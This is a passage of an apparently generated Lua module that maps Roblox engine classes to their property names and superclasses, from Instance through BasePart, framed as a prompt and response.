Prompt: -- version-5d89b8817a4e4de3

Response:
return {
	Instance = { Properties = { "Archivable", "ClassName", "Name", "Parent" } },
	Accoutrement = {
		Properties = { "AttachmentForward", "AttachmentPoint", "AttachmentPos", "AttachmentRight", "AttachmentUp" },
		Superclass = "Instance",
	},
	Accessory = { Properties = { "AccessoryType" }, Superclass = "Accoutrement" },
	Hat = { Properties = {}, Superclass = "Accoutrement" },
	AdvancedDragger = { Properties = {}, Superclass = "Instance" },
	Animation = { Properties = { "AnimationId" }, Superclass = "Instance" },
	AnimationClip = { Properties = { "Loop", "Priority" }, Superclass = "Instance" },
	CurveAnimation = { Properties = {}, Superclass = "AnimationClip" },
	KeyframeSequence = { Properties = {}, Superclass = "AnimationClip" },
	AnimationController = { Properties = {}, Superclass = "Instance" },
	AnimationRigData = { Properties = {}, Superclass = "Instance" },
	AnimationTrack = {
		Properties = {
			"Animation",
			"IsPlaying",
			"Length",
			"Looped",
			"Priority",
			"Speed",
			"TimePosition",
			"WeightCurrent",
			"WeightTarget",
		},
		Superclass = "Instance",
	},
	Animator = { Properties = {}, Superclass = "Instance" },
	Atmosphere = { Properties = { "Color", "Decay", "Density", "Glare", "Haze", "Offset" }, Superclass = "Instance" },
	Attachment = {
		Properties = {
			"Axis",
			"CFrame",
			"Orientation",
			"Position",
			"SecondaryAxis",
			"Visible",
			"WorldAxis",
			"WorldCFrame",
			"WorldOrientation",
			"WorldPosition",
			"WorldSecondaryAxis",
		},
		Superclass = "Instance",
	},
	Bone = { Properties = { "Transform", "TransformedCFrame", "TransformedWorldCFrame" }, Superclass = "Attachment" },
	Backpack = { Properties = {}, Superclass = "Instance" },
	BackpackItem = { Properties = { "TextureId" }, Superclass = "Instance" },
	HopperBin = { Properties = { "Active", "BinType" }, Superclass = "BackpackItem" },
	Tool = {
		Properties = {
			"CanBeDropped",
			"Enabled",
			"Grip",
			"GripForward",
			"GripPos",
			"GripRight",
			"GripUp",
			"ManualActivationOnly",
			"RequiresHandle",
			"ToolTip",
		},
		Superclass = "BackpackItem",
	},
	Flag = { Properties = { "TeamColor" }, Superclass = "Tool" },
	BasePlayerGui = { Properties = {}, Superclass = "Instance" },
	PlayerGui = {
		Properties = { "CurrentScreenOrientation", "ScreenOrientation", "SelectionImageObject" },
		Superclass = "BasePlayerGui",
	},
	BaseWrap = {
		Properties = { "CageMeshId", "CageOrigin", "CageOriginWorld", "ImportOrigin", "ImportOriginWorld" },
		Superclass = "Instance",
	},
	WrapLayer = {
		Properties = {
			"BindOffset",
			"Enabled",
			"Order",
			"Puffiness",
			"ReferenceMeshId",
			"ReferenceOrigin",
			"ReferenceOriginWorld",
			"ShrinkFactor",
		},
		Superclass = "BaseWrap",
	},
	WrapTarget = { Properties = { "Stiffness" }, Superclass = "BaseWrap" },
	Beam = {
		Properties = {
			"Attachment0",
			"Attachment1",
			"Brightness",
			"Color",
			"CurveSize0",
			"CurveSize1",
			"Enabled",
			"FaceCamera",
			"LightEmission",
			"LightInfluence",
			"Segments",
			"Texture",
			"TextureLength",
			"TextureMode",
			"TextureSpeed",
			"Transparency",
			"Width0",
			"Width1",
			"ZOffset",
		},
		Superclass = "Instance",
	},
	BindableEvent = { Properties = {}, Superclass = "Instance" },
	BindableFunction = { Properties = {}, Superclass = "Instance" },
	BodyMover = { Properties = {}, Superclass = "Instance" },
	BodyAngularVelocity = { Properties = { "AngularVelocity", "MaxTorque", "P" }, Superclass = "BodyMover" },
	BodyForce = { Properties = { "Force" }, Superclass = "BodyMover" },
	BodyGyro = { Properties = { "CFrame", "D", "MaxTorque", "P" }, Superclass = "BodyMover" },
	BodyPosition = { Properties = { "D", "MaxForce", "P", "Position" }, Superclass = "BodyMover" },
	BodyThrust = { Properties = { "Force", "Location" }, Superclass = "BodyMover" },
	BodyVelocity = { Properties = { "MaxForce", "P", "Velocity" }, Superclass = "BodyMover" },
	RocketPropulsion = {
		Properties = {
			"CartoonFactor",
			"MaxSpeed",
			"MaxThrust",
			"MaxTorque",
			"Target",
			"TargetOffset",
			"TargetRadius",
			"ThrustD",
			"ThrustP",
			"TurnD",
			"TurnP",
		},
		Superclass = "BodyMover",
	},
	Breakpoint = { Properties = {}, Superclass = "Instance" },
	Camera = {
		Properties = {
			"CFrame",
			"CameraSubject",
			"CameraType",
			"DiagonalFieldOfView",
			"FieldOfView",
			"FieldOfViewMode",
			"Focus",
			"HeadLocked",
			"HeadScale",
			"MaxAxisFieldOfView",
			"NearPlaneZ",
			"ViewportSize",
		},
		Superclass = "Instance",
	},
	CharacterAppearance = { Properties = {}, Superclass = "Instance" },
	BodyColors = {
		Properties = {
			"HeadColor",
			"HeadColor3",
			"LeftArmColor",
			"LeftArmColor3",
			"LeftLegColor",
			"LeftLegColor3",
			"RightArmColor",
			"RightArmColor3",
			"RightLegColor",
			"RightLegColor3",
			"TorsoColor",
			"TorsoColor3",
		},
		Superclass = "CharacterAppearance",
	},
	CharacterMesh = {
		Properties = { "BaseTextureId", "BodyPart", "MeshId", "OverlayTextureId" },
		Superclass = "CharacterAppearance",
	},
	Clothing = { Properties = { "Color3" }, Superclass = "CharacterAppearance" },
	Pants = { Properties = { "PantsTemplate" }, Superclass = "Clothing" },
	Shirt = { Properties = { "ShirtTemplate" }, Superclass = "Clothing" },
	ShirtGraphic = { Properties = { "Color3", "Graphic" }, Superclass = "CharacterAppearance" },
	Skin = { Properties = { "SkinColor" }, Superclass = "CharacterAppearance" },
	ClickDetector = { Properties = { "CursorIcon", "MaxActivationDistance" }, Superclass = "Instance" },
	Clouds = { Properties = { "Color", "Cover", "Density", "Enabled" }, Superclass = "Instance" },
	CommandInstance = {
		Properties = {
			"AllowGUIAccessPoints",
			"Checked",
			"DefaultShortcut",
			"DisplayName",
			"Enabled",
			"Icon",
			"Name",
			"Permission",
			"StatusTip",
		},
		Superclass = "Instance",
	},
	Configuration = { Properties = {}, Superclass = "Instance" },
	Constraint = {
		Properties = { "Active", "Attachment0", "Attachment1", "Color", "Enabled", "Visible" },
		Superclass = "Instance",
	},
	AlignOrientation = {
		Properties = {
			"AlignType",
			"CFrame",
			"MaxAngularVelocity",
			"MaxTorque",
			"Mode",
			"PrimaryAxis",
			"PrimaryAxisOnly",
			"ReactionTorqueEnabled",
			"Responsiveness",
			"RigidityEnabled",
			"SecondaryAxis",
		},
		Superclass = "Constraint",
	},
	AlignPosition = {
		Properties = {
			"ApplyAtCenterOfMass",
			"MaxForce",
			"MaxVelocity",
			"Mode",
			"Position",
			"ReactionForceEnabled",
			"Responsiveness",
			"RigidityEnabled",
		},
		Superclass = "Constraint",
	},
	AngularVelocity = {
		Properties = { "AngularVelocity", "MaxTorque", "ReactionTorqueEnabled", "RelativeTo" },
		Superclass = "Constraint",
	},
	BallSocketConstraint = {
		Properties = {
			"LimitsEnabled",
			"MaxFrictionTorque",
			"Radius",
			"Restitution",
			"TwistLimitsEnabled",
			"TwistLowerAngle",
			"TwistUpperAngle",
			"UpperAngle",
		},
		Superclass = "Constraint",
	},
	HingeConstraint = {
		Properties = {
			"ActuatorType",
			"AngularResponsiveness",
			"AngularSpeed",
			"AngularVelocity",
			"CurrentAngle",
			"LimitsEnabled",
			"LowerAngle",
			"MotorMaxAcceleration",
			"MotorMaxTorque",
			"Radius",
			"Restitution",
			"ServoMaxTorque",
			"TargetAngle",
			"UpperAngle",
		},
		Superclass = "Constraint",
	},
	LineForce = {
		Properties = { "ApplyAtCenterOfMass", "InverseSquareLaw", "Magnitude", "MaxForce", "ReactionForceEnabled" },
		Superclass = "Constraint",
	},
	LinearVelocity = {
		Properties = {
			"LineDirection",
			"LineVelocity",
			"MaxForce",
			"PlaneVelocity",
			"PrimaryTangentAxis",
			"RelativeTo",
			"SecondaryTangentAxis",
			"VectorVelocity",
			"VelocityConstraintMode",
		},
		Superclass = "Constraint",
	},
	Plane = { Properties = {}, Superclass = "Constraint" },
	RodConstraint = {
		Properties = { "CurrentDistance", "Length", "LimitAngle0", "LimitAngle1", "LimitsEnabled", "Thickness" },
		Superclass = "Constraint",
	},
	RopeConstraint = {
		Properties = {
			"CurrentDistance",
			"Length",
			"Restitution",
			"Thickness",
			"WinchEnabled",
			"WinchForce",
			"WinchResponsiveness",
			"WinchSpeed",
			"WinchTarget",
		},
		Superclass = "Constraint",
	},
	SlidingBallConstraint = {
		Properties = {
			"ActuatorType",
			"CurrentPosition",
			"LimitsEnabled",
			"LinearResponsiveness",
			"LowerLimit",
			"MotorMaxAcceleration",
			"MotorMaxForce",
			"Restitution",
			"ServoMaxForce",
			"Size",
			"Speed",
			"TargetPosition",
			"UpperLimit",
			"Velocity",
		},
		Superclass = "Constraint",
	},
	CylindricalConstraint = {
		Properties = {
			"AngularActuatorType",
			"AngularLimitsEnabled",
			"AngularResponsiveness",
			"AngularRestitution",
			"AngularSpeed",
			"AngularVelocity",
			"CurrentAngle",
			"InclinationAngle",
			"LowerAngle",
			"MotorMaxAngularAcceleration",
			"MotorMaxTorque",
			"RotationAxisVisible",
			"ServoMaxTorque",
			"TargetAngle",
			"UpperAngle",
			"WorldRotationAxis",
		},
		Superclass = "SlidingBallConstraint",
	},
	PrismaticConstraint = { Properties = {}, Superclass = "SlidingBallConstraint" },
	SpringConstraint = {
		Properties = {
			"Coils",
			"CurrentLength",
			"Damping",
			"FreeLength",
			"LimitsEnabled",
			"MaxForce",
			"MaxLength",
			"MinLength",
			"Radius",
			"Stiffness",
			"Thickness",
		},
		Superclass = "Constraint",
	},
	Torque = { Properties = { "RelativeTo", "Torque" }, Superclass = "Constraint" },
	TorsionSpringConstraint = {
		Properties = {
			"Coils",
			"CurrentAngle",
			"Damping",
			"LimitsEnabled",
			"MaxAngle",
			"MaxTorque",
			"Radius",
			"Restitution",
			"Stiffness",
		},
		Superclass = "Constraint",
	},
	UniversalConstraint = {
		Properties = { "LimitsEnabled", "MaxAngle", "Radius", "Restitution" },
		Superclass = "Constraint",
	},
	VectorForce = { Properties = { "ApplyAtCenterOfMass", "Force", "RelativeTo" }, Superclass = "Constraint" },
	Controller = { Properties = {}, Superclass = "Instance" },
	HumanoidController = { Properties = {}, Superclass = "Controller" },
	SkateboardController = { Properties = { "Steer", "Throttle" }, Superclass = "Controller" },
	VehicleController = { Properties = {}, Superclass = "Controller" },
	CustomEvent = { Properties = {}, Superclass = "Instance" },
	CustomEventReceiver = { Properties = {}, Superclass = "Instance" },
	DataModelMesh = { Properties = { "Offset", "Scale", "VertexColor" }, Superclass = "Instance" },
	BevelMesh = { Properties = {}, Superclass = "DataModelMesh" },
	BlockMesh = { Properties = {}, Superclass = "BevelMesh" },
	CylinderMesh = { Properties = {}, Superclass = "BevelMesh" },
	FileMesh = { Properties = { "MeshId", "TextureId" }, Superclass = "DataModelMesh" },
	SpecialMesh = { Properties = { "MeshType" }, Superclass = "FileMesh" },
	DataModelSession = { Properties = {}, Superclass = "Instance" },
	DataStoreIncrementOptions = { Properties = {}, Superclass = "Instance" },
	DataStoreInfo = { Properties = { "CreatedTime", "DataStoreName", "UpdatedTime" }, Superclass = "Instance" },
	DataStoreKey = { Properties = { "KeyName" }, Superclass = "Instance" },
	DataStoreKeyInfo = { Properties = { "CreatedTime", "UpdatedTime", "Version" }, Superclass = "Instance" },
	DataStoreObjectVersionInfo = { Properties = { "CreatedTime", "IsDeleted", "Version" }, Superclass = "Instance" },
	DataStoreOptions = { Properties = { "AllScopes" }, Superclass = "Instance" },
	DataStoreSetOptions = { Properties = {}, Superclass = "Instance" },
	DebugSettings = {
		Properties = {
			"DataModel",
			"InstanceCount",
			"IsScriptStackTracingEnabled",
			"JobCount",
			"PlayerCount",
			"ReportSoundWarnings",
			"RobloxVersion",
			"TickCountPreciseOverride",
		},
		Superclass = "Instance",
	},
	DebuggerBreakpoint = {
		Properties = {
			"Condition",
			"ContinueExecution",
			"IsEnabled",
			"Line",
			"LogExpression",
			"isContextDependentBreakpoint",
		},
		Superclass = "Instance",
	},
	DebuggerConnection = { Properties = {}, Superclass = "Instance" },
	DebuggerLuaResponse = { Properties = {}, Superclass = "Instance" },
	DebuggerVariable = { Properties = {}, Superclass = "Instance" },
	DebuggerWatch = { Properties = { "Expression" }, Superclass = "Instance" },
	Dialog = {
		Properties = {
			"BehaviorType",
			"ConversationDistance",
			"GoodbyeChoiceActive",
			"GoodbyeDialog",
			"InUse",
			"InitialPrompt",
			"Purpose",
			"Tone",
			"TriggerDistance",
			"TriggerOffset",
		},
		Superclass = "Instance",
	},
	DialogChoice = {
		Properties = { "GoodbyeChoiceActive", "GoodbyeDialog", "ResponseDialog", "UserDialog" },
		Superclass = "Instance",
	},
	Dragger = { Properties = {}, Superclass = "Instance" },
	EulerRotationCurve = { Properties = { "RotationOrder" }, Superclass = "Instance" },
	Explosion = {
		Properties = {
			"BlastPressure",
			"BlastRadius",
			"DestroyJointRadiusPercent",
			"ExplosionType",
			"Position",
			"Visible",
		},
		Superclass = "Instance",
	},
	FaceControls = {
		Properties = {
			"ChinRaiser",
			"ChinRaiserUpperLip",
			"Corrugator",
			"EyesLookDown",
			"EyesLookLeft",
			"EyesLookRight",
			"EyesLookUp",
			"FlatPucker",
			"Funneler",
			"JawDrop",
			"JawLeft",
			"JawRight",
			"LeftBrowLowerer",
			"LeftCheekPuff",
			"LeftCheekRaiser",
			"LeftDimpler",
			"LeftEyeClosed",
			"LeftEyeUpperLidRaiser",
			"LeftInnerBrowRaiser",
			"LeftLipCornerDown",
			"LeftLipCornerPuller",
			"LeftLipStretcher",
			"LeftLowerLipDepressor",
			"LeftNoseWrinkler",
			"LeftOuterBrowRaiser",
			"LeftUpperLipRaiser",
			"LipPresser",
			"LipsTogether",
			"LowerLipSuck",
			"MouthLeft",
			"MouthRight",
			"Pucker",
			"RightBrowLowerer",
			"RightCheekPuff",
			"RightCheekRaiser",
			"RightDimpler",
			"RightEyeClosed",
			"RightEyeUpperLidRaiser",
			"RightInnerBrowRaiser",
			"RightLipCornerDown",
			"RightLipCornerPuller",
			"RightLipStretcher",
			"RightLowerLipDepressor",
			"RightNoseWrinkler",
			"RightOuterBrowRaiser",
			"RightUpperLipRaiser",
			"TongueDown",
			"TongueOut",
			"TongueUp",
			"UpperLipSuck",
		},
		Superclass = "Instance",
	},
	FaceInstance = { Properties = { "Face" }, Superclass = "Instance" },
	Decal = { Properties = { "Color3", "Texture", "Transparency", "ZIndex" }, Superclass = "FaceInstance" },
	Texture = {
		Properties = { "OffsetStudsU", "OffsetStudsV", "StudsPerTileU", "StudsPerTileV" },
		Superclass = "Decal",
	},
	Feature = { Properties = { "FaceId", "InOut", "LeftRight", "TopBottom" }, Superclass = "Instance" },
	Hole = { Properties = {}, Superclass = "Feature" },
	MotorFeature = { Properties = {}, Superclass = "Feature" },
	File = { Properties = {}, Superclass = "Instance" },
	Fire = { Properties = { "Color", "Enabled", "Heat", "SecondaryColor", "Size" }, Superclass = "Instance" },
	FloatCurve = { Properties = { "Length" }, Superclass = "Instance" },
	Folder = { Properties = {}, Superclass = "Instance" },
	ForceField = { Properties = { "Visible" }, Superclass = "Instance" },
	FunctionalTest = { Properties = { "Description" }, Superclass = "Instance" },
	GameSettings = {
		Properties = { "AdditionalCoreIncludeDirs", "OverrideStarterScript", "VideoCaptureEnabled", "VideoRecording" },
		Superclass = "Instance",
	},
	GlobalDataStore = { Properties = {}, Superclass = "Instance" },
	DataStore = { Properties = {}, Superclass = "GlobalDataStore" },
	OrderedDataStore = { Properties = {}, Superclass = "GlobalDataStore" },
	GuiBase = { Properties = {}, Superclass = "Instance" },
	GuiBase2d = {
		Properties = {
			"AbsolutePosition",
			"AbsoluteRotation",
			"AbsoluteSize",
			"AutoLocalize",
			"RootLocalizationTable",
		},
		Superclass = "GuiBase",
	},
	GuiObject = {
		Properties = {
			"Active",
			"AnchorPoint",
			"AutomaticSize",
			"BackgroundColor3",
			"BackgroundTransparency",
			"BorderColor3",
			"BorderMode",
			"BorderSizePixel",
			"ClipsDescendants",
			"LayoutOrder",
			"NextSelectionDown",
			"NextSelectionLeft",
			"NextSelectionRight",
			"NextSelectionUp",
			"Position",
			"Rotation",
			"Selectable",
			"SelectionImageObject",
			"Size",
			"SizeConstraint",
			"Visible",
			"ZIndex",
		},
		Superclass = "GuiBase2d",
	},
	CanvasGroup = { Properties = { "GroupColor", "Transparency" }, Superclass = "GuiObject" },
	Frame = { Properties = { "Style" }, Superclass = "GuiObject" },
	GuiButton = { Properties = { "AutoButtonColor", "Modal", "Selected", "Style" }, Superclass = "GuiObject" },
	ImageButton = {
		Properties = {
			"HoverImage",
			"Image",
			"ImageColor3",
			"ImageRectOffset",
			"ImageRectSize",
			"ImageTransparency",
			"IsLoaded",
			"PressedImage",
			"ResampleMode",
			"ScaleType",
			"SliceCenter",
			"SliceScale",
			"TileSize",
		},
		Superclass = "GuiButton",
	},
	TextButton = {
		Properties = {
			"ContentText",
			"Font",
			"LineHeight",
			"MaxVisibleGraphemes",
			"RichText",
			"Text",
			"TextBounds",
			"TextColor3",
			"TextFits",
			"TextScaled",
			"TextSize",
			"TextStrokeColor3",
			"TextStrokeTransparency",
			"TextTransparency",
			"TextTruncate",
			"TextWrapped",
			"TextXAlignment",
			"TextYAlignment",
		},
		Superclass = "GuiButton",
	},
	GuiLabel = { Properties = {}, Superclass = "GuiObject" },
	ImageLabel = {
		Properties = {
			"Image",
			"ImageColor3",
			"ImageRectOffset",
			"ImageRectSize",
			"ImageTransparency",
			"IsLoaded",
			"ResampleMode",
			"ScaleType",
			"SliceCenter",
			"SliceScale",
			"TileSize",
		},
		Superclass = "GuiLabel",
	},
	TextLabel = {
		Properties = {
			"ContentText",
			"Font",
			"LineHeight",
			"MaxVisibleGraphemes",
			"RichText",
			"Text",
			"TextBounds",
			"TextColor3",
			"TextFits",
			"TextScaled",
			"TextSize",
			"TextStrokeColor3",
			"TextStrokeTransparency",
			"TextTransparency",
			"TextTruncate",
			"TextWrapped",
			"TextXAlignment",
			"TextYAlignment",
		},
		Superclass = "GuiLabel",
	},
	ScrollingFrame = {
		Properties = {
			"AbsoluteCanvasSize",
			"AbsoluteWindowSize",
			"AutomaticCanvasSize",
			"BottomImage",
			"CanvasPosition",
			"CanvasSize",
			"ElasticBehavior",
			"HorizontalScrollBarInset",
			"MidImage",
			"ScrollBarImageColor3",
			"ScrollBarImageTransparency",
			"ScrollBarThickness",
			"ScrollingDirection",
			"ScrollingEnabled",
			"TopImage",
			"VerticalScrollBarInset",
			"VerticalScrollBarPosition",
		},
		Superclass = "GuiObject",
	},
	TextBox = {
		Properties = {
			"ClearTextOnFocus",
			"ContentText",
			"CursorPosition",
			"Font",
			"LineHeight",
			"MaxVisibleGraphemes",
			"MultiLine",
			"PlaceholderColor3",
			"PlaceholderText",
			"RichText",
			"SelectionStart",
			"ShowNativeInput",
			"Text",
			"TextBounds",
			"TextColor3",
			"TextEditable",
			"TextFits",
			"TextScaled",
			"TextSize",
			"TextStrokeColor3",
			"TextStrokeTransparency",
			"TextTransparency",
			"TextTruncate",
			"TextWrapped",
			"TextXAlignment",
			"TextYAlignment",
		},
		Superclass = "GuiObject",
	},
	VideoFrame = {
		Properties = {
			"IsLoaded",
			"Looped",
			"Playing",
			"Resolution",
			"TimeLength",
			"TimePosition",
			"Video",
			"Volume",
		},
		Superclass = "GuiObject",
	},
	ViewportFrame = {
		Properties = {
			"Ambient",
			"CurrentCamera",
			"ImageColor3",
			"ImageTransparency",
			"LightColor",
			"LightDirection",
		},
		Superclass = "GuiObject",
	},
	LayerCollector = { Properties = { "Enabled", "ResetOnSpawn", "ZIndexBehavior" }, Superclass = "GuiBase2d" },
	BillboardGui = {
		Properties = {
			"Active",
			"Adornee",
			"AlwaysOnTop",
			"Brightness",
			"ClipsDescendants",
			"CurrentDistance",
			"DistanceLowerLimit",
			"DistanceStep",
			"DistanceUpperLimit",
			"ExtentsOffset",
			"ExtentsOffsetWorldSpace",
			"LightInfluence",
			"MaxDistance",
			"PlayerToHideFrom",
			"Size",
			"SizeOffset",
			"StudsOffset",
			"StudsOffsetWorldSpace",
		},
		Superclass = "LayerCollector",
	},
	PluginGui = { Properties = { "Title" }, Superclass = "LayerCollector" },
	DockWidgetPluginGui = { Properties = { "HostWidgetWasRestored" }, Superclass = "PluginGui" },
	QWidgetPluginGui = { Properties = {}, Superclass = "PluginGui" },
	ScreenGui = { Properties = { "DisplayOrder", "IgnoreGuiInset" }, Superclass = "LayerCollector" },
	GuiMain = { Properties = {}, Superclass = "ScreenGui" },
	SurfaceGui = {
		Properties = {
			"Active",
			"Adornee",
			"AlwaysOnTop",
			"Brightness",
			"CanvasSize",
			"ClipsDescendants",
			"Face",
			"LightInfluence",
			"PixelsPerStud",
			"SizingMode",
			"ToolPunchThroughDistance",
			"ZOffset",
		},
		Superclass = "LayerCollector",
	},
	GuiBase3d = { Properties = { "Color3", "Transparency", "Visible" }, Superclass = "GuiBase" },
	FloorWire = {
		Properties = {
			"CycleOffset",
			"From",
			"StudsBetweenTextures",
			"Texture",
			"TextureSize",
			"To",
			"Velocity",
			"WireRadius",
		},
		Superclass = "GuiBase3d",
	},
	InstanceAdornment = { Properties = { "Adornee" }, Superclass = "GuiBase3d" },
	SelectionBox = {
		Properties = { "LineThickness", "SurfaceColor3", "SurfaceTransparency" },
		Superclass = "InstanceAdornment",
	},
	PVAdornment = { Properties = { "Adornee" }, Superclass = "GuiBase3d" },
	HandleAdornment = {
		Properties = { "AdornCullingMode", "AlwaysOnTop", "CFrame", "SizeRelativeOffset", "ZIndex" },
		Superclass = "PVAdornment",
	},
	BoxHandleAdornment = { Properties = { "Size" }, Superclass = "HandleAdornment" },
	ConeHandleAdornment = { Properties = { "Height", "Radius" }, Superclass = "HandleAdornment" },
	CylinderHandleAdornment = {
		Properties = { "Angle", "Height", "InnerRadius", "Radius" },
		Superclass = "HandleAdornment",
	},
	ImageHandleAdornment = { Properties = { "Image", "Size" }, Superclass = "HandleAdornment" },
	LineHandleAdornment = { Properties = { "Length", "Thickness" }, Superclass = "HandleAdornment" },
	SphereHandleAdornment = { Properties = { "Radius" }, Superclass = "HandleAdornment" },
	ParabolaAdornment = { Properties = {}, Superclass = "PVAdornment" },
	SelectionSphere = { Properties = { "SurfaceColor3", "SurfaceTransparency" }, Superclass = "PVAdornment" },
	PartAdornment = { Properties = { "Adornee" }, Superclass = "GuiBase3d" },
	HandlesBase = { Properties = {}, Superclass = "PartAdornment" },
	ArcHandles = { Properties = { "Axes" }, Superclass = "HandlesBase" },
	Handles = { Properties = { "Faces", "Style" }, Superclass = "HandlesBase" },
	SurfaceSelection = { Properties = { "TargetSurface" }, Superclass = "PartAdornment" },
	SelectionLasso = { Properties = { "Humanoid" }, Superclass = "GuiBase3d" },
	SelectionPartLasso = { Properties = { "Part" }, Superclass = "SelectionLasso" },
	SelectionPointLasso = { Properties = { "Point" }, Superclass = "SelectionLasso" },
	Highlight = {
		Properties = {
			"DepthMode",
			"Enabled",
			"FillColor",
			"FillTransparency",
			"OutlineColor",
			"OutlineTransparency",
		},
		Superclass = "Instance",
	},
	HttpRequest = { Properties = {}, Superclass = "Instance" },
	Humanoid = {
		Properties = {
			"AutoJumpEnabled",
			"AutoRotate",
			"AutomaticScalingEnabled",
			"BreakJointsOnDeath",
			"CameraOffset",
			"DisplayDistanceType",
			"DisplayName",
			"FloorMaterial",
			"Health",
			"HealthDisplayDistance",
			"HealthDisplayType",
			"HipHeight",
			"Jump",
			"JumpHeight",
			"JumpPower",
			"MaxHealth",
			"MaxSlopeAngle",
			"MoveDirection",
			"NameDisplayDistance",
			"NameOcclusion",
			"PlatformStand",
			"RequiresNeck",
			"RigType",
			"RootPart",
			"SeatPart",
			"Sit",
			"TargetPoint",
			"UseJumpPower",
			"WalkSpeed",
			"WalkToPart",
			"WalkToPoint",
		},
		Superclass = "Instance",
	},
	HumanoidDescription = {
		Properties = {
			"BackAccessory",
			"BodyTypeScale",
			"ClimbAnimation",
			"DepthScale",
			"Face",
			"FaceAccessory",
			"FallAnimation",
			"FrontAccessory",
			"GraphicTShirt",
			"HairAccessory",
			"HatAccessory",
			"Head",
			"HeadColor",
			"HeadScale",
			"HeightScale",
			"IdleAnimation",
			"JumpAnimation",
			"LeftArm",
			"LeftArmColor",
			"LeftLeg",
			"LeftLegColor",
			"NeckAccessory",
			"Pants",
			"ProportionScale",
			"RightArm",
			"RightArmColor",
			"RightLeg",
			"RightLegColor",
			"RunAnimation",
			"Shirt",
			"ShouldersAccessory",
			"SwimAnimation",
			"Torso",
			"TorsoColor",
			"WaistAccessory",
			"WalkAnimation",
			"WidthScale",
		},
		Superclass = "Instance",
	},
	ImporterBaseSettings = { Properties = { "Id", "ImportName", "ShouldImport" }, Superclass = "Instance" },
	ImporterGroupSettings = {
		Properties = { "Anchored", "ImportAsModelAsset", "InsertInWorkspace" },
		Superclass = "ImporterBaseSettings",
	},
	ImporterJointSettings = { Properties = {}, Superclass = "ImporterBaseSettings" },
	ImporterMeshSettings = {
		Properties = { "Anchored", "Dimensions", "DoubleSided", "IgnoreVertexColors", "PolygonCount" },
		Superclass = "ImporterBaseSettings",
	},
	ImporterRootSettings = {
		Properties = {
			"Anchored",
			"FileDimensions",
			"ImportAsModelAsset",
			"InsertInWorkspace",
			"InvertNegativeFaces",
			"MergeMeshes",
			"PolygonCount",
			"RigType",
			"ScaleUnit",
			"WorldForward",
			"WorldUp",
		},
		Superclass = "ImporterBaseSettings",
	},
	ImporterTextureSettings = { Properties = { "FilePath" }, Superclass = "ImporterBaseSettings" },
	InputObject = {
		Properties = { "Delta", "KeyCode", "Position", "UserInputState", "UserInputType" },
		Superclass = "Instance",
	},
	JointInstance = { Properties = { "Active", "C0", "C1", "Enabled", "Part0", "Part1" }, Superclass = "Instance" },
	DynamicRotate = { Properties = { "BaseAngle" }, Superclass = "JointInstance" },
	RotateP = { Properties = {}, Superclass = "DynamicRotate" },
	RotateV = { Properties = {}, Superclass = "DynamicRotate" },
	Glue = { Properties = { "F0", "F1", "F2", "F3" }, Superclass = "JointInstance" },
	ManualSurfaceJointInstance = { Properties = {}, Superclass = "JointInstance" },
	ManualGlue = { Properties = {}, Superclass = "ManualSurfaceJointInstance" },
	ManualWeld = { Properties = {}, Superclass = "ManualSurfaceJointInstance" },
	Motor = { Properties = { "CurrentAngle", "DesiredAngle", "MaxVelocity" }, Superclass = "JointInstance" },
	Motor6D = { Properties = {}, Superclass = "Motor" },
	Rotate = { Properties = {}, Superclass = "JointInstance" },
	Snap = { Properties = {}, Superclass = "JointInstance" },
	VelocityMotor = {
		Properties = { "CurrentAngle", "DesiredAngle", "Hole", "MaxVelocity" },
		Superclass = "JointInstance",
	},
	Weld = { Properties = {}, Superclass = "JointInstance" },
	Keyframe = { Properties = { "Time" }, Superclass = "Instance" },
	KeyframeMarker = { Properties = { "Value" }, Superclass = "Instance" },
	Light = { Properties = { "Brightness", "Color", "Enabled", "Shadows" }, Superclass = "Instance" },
	PointLight = { Properties = { "Range" }, Superclass = "Light" },
	SpotLight = { Properties = { "Angle", "Face", "Range" }, Superclass = "Light" },
	SurfaceLight = { Properties = { "Angle", "Face", "Range" }, Superclass = "Light" },
	LocalizationTable = { Properties = { "SourceLocaleId" }, Superclass = "Instance" },
	LodDataEntity = { Properties = {}, Superclass = "Instance" },
	LuaSettings = { Properties = {}, Superclass = "Instance" },
	LuaSourceContainer = { Properties = {}, Superclass = "Instance" },
	BaseScript = { Properties = { "Disabled" }, Superclass = "LuaSourceContainer" },
	CoreScript = { Properties = {}, Superclass = "BaseScript" },
	Script = { Properties = {}, Superclass = "BaseScript" },
	LocalScript = { Properties = {}, Superclass = "Script" },
	ModuleScript = { Properties = {}, Superclass = "LuaSourceContainer" },
	MaterialVariant = {
		Properties = { "BaseMaterial", "ColorMap", "MetalnessMap", "NormalMap", "RoughnessMap", "StudsPerTile" },
		Superclass = "Instance",
	},
	MemStorageConnection = { Properties = {}, Superclass = "Instance" },
	MemoryStoreQueue = { Properties = {}, Superclass = "Instance" },
	MemoryStoreSortedMap = { Properties = {}, Superclass = "Instance" },
	Message = { Properties = { "Text" }, Superclass = "Instance" },
	Hint = { Properties = {}, Superclass = "Message" },
	MessageBusConnection = { Properties = {}, Superclass = "Instance" },
	MetaBreakpoint = { Properties = {}, Superclass = "Instance" },
	MetaBreakpointContext = { Properties = {}, Superclass = "Instance" },
	Mouse = {
		Properties = {
			"Hit",
			"Icon",
			"Origin",
			"Target",
			"TargetFilter",
			"TargetSurface",
			"UnitRay",
			"ViewSizeX",
			"ViewSizeY",
			"X",
			"Y",
		},
		Superclass = "Instance",
	},
	PlayerMouse = { Properties = {}, Superclass = "Mouse" },
	PluginMouse = { Properties = {}, Superclass = "Mouse" },
	MultipleDocumentInterfaceInstance = { Properties = {}, Superclass = "Instance" },
	NetworkMarker = { Properties = {}, Superclass = "Instance" },
	NetworkPeer = { Properties = {}, Superclass = "Instance" },
	NetworkReplicator = { Properties = {}, Superclass = "Instance" },
	ClientReplicator = { Properties = {}, Superclass = "NetworkReplicator" },
	ServerReplicator = { Properties = {}, Superclass = "NetworkReplicator" },
	NoCollisionConstraint = { Properties = { "Enabled", "Part0", "Part1" }, Superclass = "Instance" },
	PVInstance = { Properties = {}, Superclass = "Instance" },
	BasePart = {
		Properties = {
			"Anchored",
			"AssemblyAngularVelocity",
			"AssemblyCenterOfMass",
			"AssemblyLinearVelocity",
			"AssemblyMass",
			"AssemblyRootPart",
			"BackSurface",
			"BottomSurface",
			"BrickColor",
			"CFrame",
			"CanCollide",
			"CanQuery",
			"CanTouch",
			"CastShadow",
			"CenterOfMass",
			"CollisionGroupId",
			"Color",
			"CustomPhysicalProperties",
			"FrontSurface",
			"LeftSurface",
			"Locked",
			"Mass",
			"Massless",
			"Material",
			"Orientation",
